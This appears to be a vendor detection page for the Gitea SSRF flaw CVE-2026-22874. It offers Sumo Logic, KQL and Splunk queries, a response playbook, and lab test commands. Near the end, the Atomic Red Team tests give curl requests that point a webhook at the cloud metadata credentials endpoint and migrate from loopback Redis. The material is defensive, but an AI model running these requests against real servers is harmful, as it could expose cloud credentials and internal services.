Detect Gitea Incomplete SSRF Allow-list Bypass in Webhooks and Migrations (CVE-2026-22874) in Sumo Logic CSE
Detects exploitation attempts against CVE-2026-22874, an incomplete SSRF protection in Gitea's webhook and repository-migration allow-list default filter (CWE-918). Gitea versions < 1.26.3 failed to fully validate outbound targets for webhook deliveries and remote migrations, allowing an authenticated (or in some misconfigurations, low-privileged) attacker to coerce the Gitea server into making requests to internal/private hosts, loopback, link-local metadata endpoints (e.g. 169.254.169.254), or otherwise-restricted network services. Detection focuses on Gitea server-originated outbound HTTP requests to internal/metadata/loopback destinations, suspicious webhook/migration configuration referencing private targets, and Gitea process network connections that deviate from expected git/API traffic.
MITRE ATT&CK
- Tactic
- Collection Discovery
Sumo Detection Query
_sourceCategory=*gitea* OR _sourceCategory=*proxy*
| json field=_raw "url", "dest_ip", "process" nodrop
| where (process = "gitea" or _sourceCategory matches "*gitea*")
| where (dest_ip matches "10.*" or dest_ip matches "192.168.*" or dest_ip matches "127.*" or dest_ip matches "169.254.*" or dest_ip matches /172\.(1[6-9]|2[0-9]|3[0-1])\..*/ or url matches "*169.254.169.254*" or url matches "*metadata.google.internal*")
| count by _sourceHost, dest_ip, url, process
| sort by _count desc Sumo Logic search over Gitea and proxy sources to detect outbound requests to internal/metadata/loopback endpoints indicative of SSRF exploitation.
Data Sources
Required Tables
False Positives & Tuning
- Intended internal webhook targets.
- Permitted mirror/migration syncs.
- Loopback service communication.
Other platforms for CVE-2026-22874
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Gitea webhook pointed at cloud metadata endpoint
Expected signal: Gitea process makes an outbound HTTP request to 169.254.169.254 on port 80 upon webhook trigger/test.
- Test 2Gitea migration from loopback/internal clone URL
Expected signal: Gitea process attempts a connection to 127.0.0.1:6379 (or other internal port) during the migration.
- Test 3Webhook test delivery to RFC1918 internal service
Expected signal: Gitea process initiates an outbound connection to the configured internal RFC1918 target on webhook test.
References (7)
- https://github.com/go-gitea/gitea/security/advisories/GHSA-2r5c-gw76-rh3w
- https://nvd.nist.gov/vuln/detail/CVE-2026-22874
- https://github.com/go-gitea/gitea/pull/38059
- https://github.com/go-gitea/gitea/pull/38173
- https://blog.gitea.com/release-of-1.26.3-and-1.26.4
- https://github.com/go-gitea/gitea/releases/tag/v1.26.3
- https://github.com/advisories/GHSA-2r5c-gw76-rh3w
Response Playbook
Triage
- Confirm the Gitea version via the admin dashboard or `gitea --version`; anything < 1.26.3 is vulnerable and must be prioritized.
- Identify the destination of the flagged outbound request — determine whether it is a cloud metadata endpoint (169.254.169.254), loopback, or an internal service, and assess sensitivity of that target.
- Correlate the request timing with recent webhook creation/edit events and repository migration/mirror operations in Gitea's audit log to find the triggering action.
- Identify the Gitea user account that created or modified the webhook/migration, and whether that account is expected to have such access.
Containment
- Restrict Gitea's egress at the network layer (firewall/security group) to only the specific hosts it legitimately needs, blocking metadata and RFC1918 ranges.
- Disable or delete any unauthorized webhooks and abort in-progress migration/mirror jobs targeting internal addresses.
- Upgrade Gitea to 1.26.3 or 1.26.4 which fix the allow-list default filter; enable `ALLOWED_HOST_LIST`/webhook allow-list hardening in app.ini.
Evidence Collection
- Preserve Gitea server logs (access and application), webhook delivery history, and migration task records covering the incident window.
- Capture network flow/proxy logs showing the Gitea-originated connections and their responses, including any metadata credentials that may have been returned.
Escalation Criteria
- !Escalate to incident response if the SSRF reached a cloud metadata endpoint or any request returned credentials, tokens, or internal service data.
- !Escalate if outbound requests targeted sensitive internal services (databases, Redis, Consul, Kubernetes API) or if lateral movement indicators follow the SSRF activity.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Gitea webhook configuration records and delivery logs referencing internal/loopback/metadata URLs. - >
Repository migration/mirror task records with private-network clone URLs. - >
Gitea application and access logs plus host network flow logs showing outbound connections to restricted ranges.
Tuning Guidance
Baseline the set of internal hosts and ports Gitea legitimately contacts (co-located database, reverse proxy, sanctioned mirror sources) and add them to an allow-list to suppress benign matches. Focus alerting on cloud metadata IPs and never-before-seen internal destinations, which carry the highest signal. If Gitea runs behind a reverse proxy on loopback, exclude the specific proxy port to reduce noise while retaining coverage for other internal targets.
Hunting Queries
Hunt for Gitea-originated outbound connections to metadata, loopback, or internal ranges across endpoint and network telemetry.
DeviceNetworkEvents | where InitiatingProcessFileName in~ ("gitea","gitea.exe") | where RemoteUrl has "169.254.169.254" or ipv4_is_in_any_range(RemoteIP, dynamic(["10.0.0.0/8","172.16.0.0/12","192.168.0.0/16","169.254.0.0/16","127.0.0.0/8"])) | summarize count() by DeviceName, RemoteIP, RemoteUrl, RemotePort index=* sourcetype=gitea:server OR sourcetype=stream:http process=gitea | rex field=url "(?<host>169\.254\.169\.254|127\.0\.0\.1|metadata\.google\.internal)" | stats count by host, url, user Atomic Red Team Tests
Creates a repository webhook whose target URL is the cloud instance metadata service to validate SSRF egress detection (lab only).
Command
curl -s -X POST "http://gitea.lab.local:3000/api/v1/repos/testorg/testrepo/hooks" -H "Authorization: token $GITEA_TOKEN" -H "Content-Type: application/json" -d '{"type":"gitea","active":true,"events":["push"],"config":{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","content_type":"json"}}' Cleanup
curl -s -X DELETE "http://gitea.lab.local:3000/api/v1/repos/testorg/testrepo/hooks/$HOOK_ID" -H "Authorization: token $GITEA_TOKEN" Expected Telemetry
Gitea process makes an outbound HTTP request to 169.254.169.254 on port 80 upon webhook trigger/test.
Expected Detection
KQL/EQL/CQL rules fire on gitea process egress to 169.254.169.254.
Initiates a repository migration using an internal/loopback clone URL to test SSRF via the migration allow-list bypass (lab only).
Command
curl -s -X POST "http://gitea.lab.local:3000/api/v1/repos/migrate" -H "Authorization: token $GITEA_TOKEN" -H "Content-Type: application/json" -d '{"clone_addr":"http://127.0.0.1:6379/","repo_name":"ssrf-test","service":"git"}' Cleanup
curl -s -X DELETE "http://gitea.lab.local:3000/api/v1/repos/$GITEA_USER/ssrf-test" -H "Authorization: token $GITEA_TOKEN" Expected Telemetry
Gitea process attempts a connection to 127.0.0.1:6379 (or other internal port) during the migration.
Expected Detection
Rules matching gitea process connections to loopback/internal ports trigger.
Uses the webhook test-delivery endpoint to force Gitea to connect to a private-range internal host, exercising SSRF detection (lab only).
Command
curl -s -X POST "http://gitea.lab.local:3000/api/v1/repos/testorg/testrepo/hooks/$HOOK_ID/tests" -H "Authorization: token $GITEA_TOKEN" Cleanup
curl -s -X DELETE "http://gitea.lab.local:3000/api/v1/repos/testorg/testrepo/hooks/$HOOK_ID" -H "Authorization: token $GITEA_TOKEN" Expected Telemetry
Gitea process initiates an outbound connection to the configured internal RFC1918 target on webhook test.
Expected Detection
Network-based rules flag gitea egress to 10.0.0.0/8 or 192.168.0.0/16 destination.